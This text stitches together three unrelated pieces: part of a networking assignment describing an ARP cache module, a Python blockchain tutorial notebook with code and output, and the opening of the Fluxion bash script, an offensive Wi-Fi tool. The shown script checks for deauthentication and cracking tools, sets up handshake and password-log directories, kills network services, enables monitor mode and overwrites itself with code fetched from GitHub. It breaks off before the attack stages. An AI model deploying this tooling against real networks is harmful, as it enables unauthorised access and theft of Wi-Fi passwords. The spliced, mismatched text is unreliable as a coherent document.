sll_ifindex; /* Interface number */ unsigned short sll_hatype; /* Hardware type */ unsigned char sll_halen; /* Length of address */ unsigned char sll_addr[8]; /* Physical layer address */ }; areq creates a Unix domain socket of type SOCK_STREAM and connects to the ‘well-known’ sun_path file of the ARP listening socket. It sends the IP address from parameter IPaddr and the information in the three fields of parameter HWaddr to ARP. It then blocks on a read awaiting a reply from ARP. This read should be backed up by a timeout since it is possible that no reply is received for the request. If a timeout occurs, areq should close the socket and return to its caller indicating failure (through its int return value). Your application code should print out on stdout, in some appropriately clear format, a notification every time areq is called, giving the IP address for which a HW address is being sought. It should similarly print out the result when the call to areq returns (HW address returned, or failure). When the ARP module receives a request for a HW address from areq through its Unix domain listening socket, it first checks if the required HW address is already in the cache. If so, it can respond immediately to the areq and close the Unix domain connection socket. Else : it makes an ‘incomplete’ entry in the cache, consisting of parts (i), (iii), (iv) and (v) ; puts out an ARP request message on the network on its PF_PACKET socket; and starts monitoring the areq connection socket for readability – if the areq client closes the connection socket (this would occur in response to a timeout in areq), ARP deletes the corresponding incomplete entry from the cache (and ignores any subsequent ARP reply from the network if such is received). On the other hand, if ARP receives a reply from the network, it updates the incomplete cache entry, responds to areq, and closes the connection socket.

BUILD YOUR OWN BLOCKCHAIN: A PYTHON TUTORIAL Download the full Jupyter/iPython notebook from Github here Build Your Own Blockchain – The Basics¶ This tutorial will walk you through the basics of how to build a blockchain from scratch. Focusing on the details of a concrete example will provide a deeper understanding of the strengths and limitations of blockchains. For a higher-level overview, I’d recommend this excellent article from BitsOnBlocks. Transactions, Validation, and updating system state¶ At its core, a blockchain is a distributed database with a set of rules for verifying new additions to the database. We’ll start off by tracking the accounts of two imaginary people: Alice and Bob, who will trade virtual money with each other. We’ll need to create a transaction pool of incoming transactions, validate those transactions, and make them into a block. We’ll be using a hash function to create a ‘fingerprint’ for each of our transactions- this hash function links each of our blocks to each other. To make this easier to use, we’ll define a helper function to wrap the python hash function that we’re using. In [1]: import hashlib, json, sys def hashMe(msg=""): # For convenience, this is a helper function that wraps our hashing algorithm if type(msg)!=str: msg = json.dumps(msg,sort_keys=True) # If we don't sort keys, we can't guarantee repeatability! if sys.version_info.major == 2: return unicode(hashlib.sha256(msg).hexdigest(),'utf-8') else: return hashlib.sha256(str(msg).encode('utf-8')).hexdigest() Next, we want to create a function to generate exchanges between Alice and Bob. We’ll indicate withdrawals with negative numbers, and deposits with positive numbers. We’ll construct our transactions to always be between the two users of our system, and make sure that the deposit is the same magnitude as the withdrawal- i.e. that we’re neither creating nor destroying money. In [2]: import random random.seed(0) def makeTransaction(maxValue=3): # This will create valid transactions in the range of (1,maxValue) sign = int(random.getrandbits(1))*2 - 1 # This will randomly choose -1 or 1 amount = random.randint(1,maxValue) alicePays = sign * amount bobPays = -1 * alicePays # By construction, this will always return transactions that respect the conservation of tokens. # However, note that we have not done anything to check whether these overdraft an account return {u'Alice':alicePays,u'Bob':bobPays} Now let’s create a large set of transactions, then chunk them into blocks. In [3]: txnBuffer = [makeTransaction() for i in range(30)] Next step: making our very own blocks! We’ll take the first k transactions from the transaction buffer, and turn them into a block. Before we do that, we need to define a method for checking the valididty of the transactions we’ve pulled into the block. For bitcoin, the validation function checks that the input values are valid unspent transaction outputs (UTXOs), that the outputs of the transaction are no greater than the input, and that the keys used for the signatures are valid. In Ethereum, the validation function checks that the smart contracts were faithfully executed and respect gas limits. No worries, though- we don’t have to build a system that complicated. We’ll define our own, very simple set of rules which make sense for a basic token system: The sum of deposits and withdrawals must be 0 (tokens are neither created nor destroyed) A user’s account must have sufficient funds to cover any withdrawals If either of these conditions are violated, we’ll reject the transaction. In [4]: def updateState(txn, state): # Inputs: txn, state: dictionaries keyed with account names, holding numeric values for transfer amount (txn) or account balance (state) # Returns: Updated state, with additional users added to state if necessary # NOTE: This does not not validate the transaction- just updates the state! # If the transaction is valid, then update the state state = state.copy() # As dictionaries are mutable, let's avoid any confusion by creating a working copy of the data. for key in txn: if key in state.keys(): state[key] += txn[key] else: state[key] = txn[key] return state In [5]: def isValidTxn(txn,state): # Assume that the transaction is a dictionary keyed by account names # Check that the sum of the deposits and withdrawals is 0 if sum(txn.values()) is not 0: return False # Check that the transaction does not cause an overdraft for key in txn.keys(): if key in state.keys(): acctBalance = state[key] else: acctBalance = 0 if (acctBalance + txn[key]) < 0: return False return True Here are a set of sample transactions, some of which are fraudulent- but we can now check their validity! In [6]: state = {u'Alice':5,u'Bob':5} print(isValidTxn({u'Alice': -3, u'Bob': 3},state)) # Basic transaction- this works great! print(isValidTxn({u'Alice': -4, u'Bob': 3},state)) # But we can't create or destroy tokens! print(isValidTxn({u'Alice': -6, u'Bob': 6},state)) # We also can't overdraft our account. print(isValidTxn({u'Alice': -4, u'Bob': 2,'Lisa':2},state)) # Creating new users is valid print(isValidTxn({u'Alice': -4, u'Bob': 3,'Lisa':2},state)) # But the same rules still apply! True False False True False Each block contains a batch of transactions, a reference to the hash of the previous block (if block number is greater than 1), and a hash of its contents and the header Building the Blockchain: From Transactions to Blocks¶ We’re ready to start making our blockchain! Right now, there’s nothing on the blockchain, but we can get things started by defining the ‘genesis block’ (the first block in the system). Because the genesis block isn’t linked to any prior block, it gets treated a bit differently, and we can arbitrarily set the system state. In our case, we’ll create accounts for our two users (Alice and Bob) and give them 50 coins each. In [7]: state = {u'Alice':50, u'Bob':50} # Define the initial state genesisBlockTxns = [state] genesisBlockContents = {u'blockNumber':0,u'parentHash':None,u'txnCount':1,u'txns':genesisBlockTxns} genesisHash = hashMe( genesisBlockContents ) genesisBlock = {u'hash':genesisHash,u'contents':genesisBlockContents} genesisBlockStr = json.dumps(genesisBlock, sort_keys=True) Great! This becomes the first element from which everything else will be linked. In [8]: chain = [genesisBlock] For each block, we want to collect a set of transactions, create a header, hash it, and add it to the chain In [9]: def makeBlock(txns,chain): parentBlock = chain[-1] parentHash = parentBlock[u'hash'] blockNumber = parentBlock[u'contents'][u'blockNumber'] + 1 txnCount = len(txns) blockContents = {u'blockNumber':blockNumber,u'parentHash':parentHash, u'txnCount':len(txns),'txns':txns} blockHash = hashMe( blockContents ) block = {u'hash':blockHash,u'contents':blockContents} return block Let’s use this to process our transaction buffer into a set of blocks: In [10]: blockSizeLimit = 5 # Arbitrary number of transactions per block- # this is chosen by the block miner, and can vary between blocks! while len(txnBuffer) > 0: bufferStartSize = len(txnBuffer) ## Gather a set of valid transactions for inclusion txnList = [] while (len(txnBuffer) > 0) & (len(txnList) < blockSizeLimit): newTxn = txnBuffer.pop() validTxn = isValidTxn(newTxn,state) # This will return False if txn is invalid if validTxn: # If we got a valid state, not 'False' txnList.append(newTxn) state = updateState(newTxn,state) else: print("ignored transaction") sys.stdout.flush() continue # This was an invalid transaction; ignore it and move on ## Make a block myBlock = makeBlock(txnList,chain) chain.append(myBlock) In [11]: chain[0] Out[11]: {'contents': {'blockNumber': 0, 'parentHash': None, 'txnCount': 1, 'txns': [{'Alice': 50, 'Bob': 50}]}, 'hash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507'} In [12]: chain[1] Out[12]: {'contents': {'blockNumber': 1, 'parentHash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507', 'txnCount': 5, 'txns': [{'Alice': 3, 'Bob': -3}, {'Alice': -1, 'Bob': 1}, {'Alice': 3, 'Bob': -3}, {'Alice': -2, 'Bob': 2}, {'Alice': 3, 'Bob': -3}]}, 'hash': '7a91fc8206c5351293fd11200b33b7192e87fad6545504068a51aba868bc6f72'} As expected, the genesis block includes an invalid transaction which initiates account balances (creating tokens out of thin air). The hash of the parent block is referenced in the child block, which contains a set of new transactions which affect system state. We can now see the state of the system, updated to include the transactions: In [13]: state Out[13]: {'Alice': 72, 'Bob': 28} Checking Chain Validity¶ Now that we know how to create new blocks and link them together into a chain, let’s define functions to check that new blocks are valid- and that the whole chain is valid. On a blockchain network, this becomes important in two ways: When we initially set up our node, we will download the full blockchain history. After downloading the chain, we would need to run through the blockchain to compute the state of the system. To protect against somebody inserting invalid transactions in the initial chain, we need to check the validity of the entire chain in this initial download. Once our node is synced with the network (has an up-to-date copy of the blockchain and a representation of system state) it will need to check the validity of new blocks that are broadcast to the network. We will need three functions to facilitate in this: checkBlockHash: A simple helper function that makes sure that the block contents match the hash checkBlockValidity: Checks the validity of a block, given its parent and the current system state. We want this to return the updated state if the block is valid, and raise an error otherwise. checkChain: Check the validity of the entire chain, and compute the system state beginning at the genesis block. This will return the system state if the chain is valid, and raise an error otherwise. In [14]: def checkBlockHash(block): # Raise an exception if the hash does not match the block contents expectedHash = hashMe( block['contents'] ) if block['hash']!=expectedHash: raise Exception('Hash does not match contents of block %s'% block['contents']['blockNumber']) return In [15]: def checkBlockValidity(block,parent,state): # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents # - Block number increments the parent block number by 1 # - Accurately references the parent block's hash parentNumber = parent['contents']['blockNumber'] parentHash = parent['hash'] blockNumber = block['contents']['blockNumber'] # Check transaction validity; throw an error if an invalid transaction was found. for txn in block['contents']['txns']: if isValidTxn(txn,state): state = updateState(txn,state) else: raise Exception('Invalid transaction in block %s: %s'%(blockNumber,txn)) checkBlockHash(block) # Check hash integrity; raises error if inaccurate if blockNumber!=(parentNumber+1): raise Exception('Hash does not match contents of block %s'%blockNumber) if block['contents']['parentHash'] != parentHash: raise Exception('Parent hash not accurate at block %s'%blockNumber) return state In [16]: def checkChain(chain): # Work through the chain from the genesis block (which gets special treatment), # checking that all transactions are internally valid, # that the transactions do not cause an overdraft, # and that the blocks are linked by their hashes. # This returns the state as a dictionary of accounts and balances, # or returns False if an error was detected ## Data input processing: Make sure that our chain is a list of dicts if type(chain)==str: try: chain = json.loads(chain) assert( type(chain)==list) except: # This is a catch-all, admittedly crude return False elif type(chain)!=list: return False state = {} ## Prime the pump by checking the genesis block # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents for txn in chain[0]['contents']['txns']: state = updateState(txn,state) checkBlockHash(chain[0]) parent = chain[0] ## Checking subsequent blocks: These additionally need to check # - the reference to the parent block's hash # - the validity of the block number for block in chain[1:]: state = checkBlockValidity(block,parent,state) parent = block return state We can now check the validity of the state: In [17]: checkChain(chain) Out[17]: {'Alice': 72, 'Bob': 28} And even if we are loading the chain from a text file, e.g. from backup or loading it for the first time, we can check the integrity of the chain and create the current state: In [18]: chainAsText = json.dumps(chain,sort_keys=True) checkChain(chainAsText) Out[18]: {'Alice': 72, 'Bob': 28} Putting it together: The final Blockchain Architecture¶ In an actual blockchain network, new nodes would download a copy of the blockchain and verify it (as we just did above), then announce their presence on the peer-to-peer network and start listening for transactions. Bundling transactions into a block, they then pass their proposed block on to other nodes. We’ve seen how to verify a copy of the blockchain, and how to bundle transactions into a block. If we recieve a block from somewhere else, verifying it and adding it to our blockchain is easy. Let’s say that the following code runs on Node A, which mines the block: In [19]: import copy nodeBchain = copy.copy(chain) nodeBtxns = [makeTransaction() for i in range(5)] newBlock = makeBlock(nodeBtxns,nodeBchain) Now assume that the newBlock is transmitted to our node, and we want to check it and update our state if it is a valid block: In [20]: print("Blockchain on Node A is currently %s blocks long"%len(chain)) try: print("New Block Received; checking validity...") state = checkBlockValidity(newBlock,chain[-1],state) # Update the state- this will throw an error if the block is invalid! chain.append(newBlock) except: print("Invalid block; ignoring and waiting for the next block...") print("Blockchain on Node A is now %s blocks long"%len(chain)) Blockchain on Node A is currently 7 blocks long New Block Received; checking validity... Blockchain on Node A is now 8 blocks long

#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" general_exitmode_3="Disabling "$grey"forwarding of packets" general_exitmode_4="Cleaning "$grey"iptables" general_exitmode_5="Restoring "$grey"tput" general_exitmode_6="Restarting "$grey"Network-Manager" general_exitmode_7="Cleanup performed successfully!" general_exitmode_8="Thanks for using fluxion" ############################################################################################# # DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout HOLD="-hold" else ## Normal Mode export flux_output_device=/dev/null HOLD="" fi # Delete Log only in Normal Mode ! function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } function airmon { chmod +x lib/airmon/airmon.sh } airmon # Check Updates function checkupdatess { revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$revision_online">$DUMP_PATH/Irev fi } # Animation function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # ERROR Report only in Developer Mode function err_report { echo "Error on line $1" } if [ $FLUX_DEBUG = 1 ]; then trap 'err_report $LINENUM' ERR fi #Function to executed in case of unexpected termination trap exitmode SIGINT SIGHUP source lib/exitmode.sh #Languages for the web interface source language/source # Design function top(){ conditional_clear echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]" echo -e "$red[ ]" echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]" echo -e "$blue[ ]" echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent" echo echo } ############################################## < START > ############################################## # Check requirements function checkdependences { echo -ne "aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "nmap............" if ! [ -f /usr/bin/nmap ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "php-cgi........." if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "openssl........." if ! hash openssl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "rfkill.........." if ! hash rfkill 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "strings........." if ! hash strings 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (binutils)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "fuser..........." if ! hash fuser 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (psmisc)" exit=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$exit" = "1" ]; then exit 1 fi sleep 1 clear } top checkdependences # Create working directory if [ ! -d $DUMP_PATH ]; then mkdir -p $DUMP_PATH &>$flux_output_device fi # Create handshake directory if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi #create password log directory if [ ! -d $PASSLOG_PATH ]; then mkdir -p $PASSLOG_PATH &>$flux_output_device fi if [ $FLUX_DEBUG != 1 ]; then clear; echo "" sleep 0.01 && echo -e "$red " sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ " sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ " sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ " sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ " sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ " sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ " echo"" sleep 0.1 echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" ghost" sleep 0.1 echo -e $green " Page:"$red"https://github.com/FluxionNetwork/fluxion "$transparent sleep 0.1 echo -n " Latest rev." tput civis checkupdatess & spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${purple}${revision_online}$white"$transparent"]" if [ "$revision_online" != "?" ]; then if [ "$revision" -lt "$revision_online" ]; then echo echo echo -ne $red" New revision found! "$yellow echo -ne "Update? [Y/n]: "$transparent read -N1 doupdate echo -ne "$transparent" doupdate=${doupdate:-"Y"} if [ "$doupdate" = "Y" ]; then cp $0 $HOME/flux_rev-$revision.backup curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0 echo echo echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent"" sleep 3 chmod +x $0 exec $0 exit fi fi fi echo "" tput cnorm sleep 1 fi # Show info for the selected AP function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" echo -e " "$blue"Channel"$transparent" = $channel" echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)" echo } ############################################### < MENU > ############################################### # Windows + Resolution function setresolution { function resA { TOPLEFT="-geometry 90x13+0+0" TOPRIGHT="-geometry 83x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { TOPLEFT="-geometry 100x20+0+0" TOPRIGHT="-geometry 109x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { TOPLEFT="-geometry 110x35+0+0" TOPRIGHT="-geometry 99x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { TOPLEFT="-geometry 100x17+0+0" TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" TOPRIGHTBIG="-geometry 90x27-0+0" } detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; esac language; setinterface } function language { iptables-save > $DUMP_PATH/iptables-rules conditional_clear if [ "$FLUX_AUTO" = "1" ];then source $WORK_DIR/language/en; setinterface else while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" English " echo -e " "$red"["$yellow"2"$red"]"$transparent" German " echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian " echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish " echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish " echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese " echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian " echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech " echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek " echo -e " "$red"["$yellow"10"$red"]"$transparent" French " echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) source $WORK_DIR/language/en; break;; 2 ) source $WORK_DIR/language/ger; break;; 3 ) source $WORK_DIR/language/ro; break;; 4 ) source $WORK_DIR/language/tu; break;; 5 ) source $WORK_DIR/language/esp; break;; 6 ) source $WORK_DIR/language/ch; break;; 7 ) source $WORK_DIR/language/it; break;; 8 ) source $WORK_DIR/language/cz break;; 9 ) source $WORK_DIR/language/gr; break;; 10 ) source $WORK_DIR/language/fr; break;; 11 ) source $WORK_DIR/language/svn; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose Interface function setinterface { conditional_clear top #unblock interfaces rfkill unblock all # Collect all interfaces in montitor mode & stop all KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1) INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"` if [ "$INTERFACESNUMBER" -gt "0" ]; then if [ "$INTERFACESNUMBER" -eq "1" ]; then PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}') else echo $header_setinterface echo i=0 for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line" done if [ "$FLUX_AUTO" = "1" ];then line="1" else echo echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read line fi PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') fi if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear top setinterface fi readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}') if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 fi if [ $KEEP_NETWORK = 0 ]; then for nagger in "${naggysoftware[@]}"; do killall "$nagger" &>$flux_output_device done sleep 0.5 fi if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 fi # Select Wifi Interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI #No wireless cards else echo $setinterface_error sleep 5 exitmode fi ghost } # Check files function ghost { conditional_clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection } # Select channel function choosescan { if [ "$FLUX_AUTO" = "1" ];then Scan else conditional_clear while true; do conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 " echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 " echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; 3 ) setinterface; break;; * ) echo "Unknown option. Please choose again"; conditional_clear ;; esac done fi } # Choose your channel if you choose option 2 before function Scanchan { conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan " echo " " echo -e " $scanchan_option_1 "$blue"6"$transparent" " echo -e " $scanchan_option_2 "$blue"1-5"$transparent" " echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" " echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read channel_number set -- 